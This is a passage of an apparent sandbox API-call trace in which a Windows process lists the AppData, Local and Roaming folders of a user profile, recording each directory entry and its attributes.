ftLastAccessTime.dwLowDateTime=0xf5afc879, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf5afc879, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0217.327] FindClose (in: hFindFile=0x1d1f5cb0 | out: hFindFile=0x1d1f5cb0) returned 1 [0217.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.327] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData", lpFilePart=0x0) returned 0x1d [0217.327] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.327] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.328] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0217.328] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0217.328] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf5afc879, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf5afc879, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0217.328] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.328] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0217.329] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0217.329] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.329] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.329] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0217.329] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0217.330] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0217.330] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0217.330] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xb1dfb94f, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xb1dfb94f, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x2e4f6a9d, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x991d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0217.331] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0217.331] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b344cd, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0217.331] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4252734, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x4252734, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x4252734, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0217.331] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xddb04c43, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xddb04c43, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0217.331] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73f4dcd0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73f4dcd0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73f4dcd0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0217.331] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc699b5c, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xdc699b5c, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdc699b5c, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0217.332] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2406a6aa, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2406a6aa, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0217.332] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0217.332] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0217.332] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0217.332] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0217.332] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0217.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0217.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0217.333] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0217.333] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.333] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.333] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0217.334] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0217.334] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0217.334] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0217.334] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xb1dfb94f, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xb1dfb94f, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x2e4f6a9d, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x991d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0217.334] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0217.334] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b344cd, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0217.335] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4252734, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x4252734, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x4252734, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0217.335] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xddb04c43, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xddb04c43, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0217.335] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73f4dcd0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73f4dcd0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73f4dcd0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0217.335] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc699b5c, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xdc699b5c, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdc699b5c, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0217.335] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2406a6aa, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2406a6aa, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0217.336] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0217.336] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0217.336] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0217.336] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.336] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9da90) returned 1 [0217.337] SetThreadErrorMode 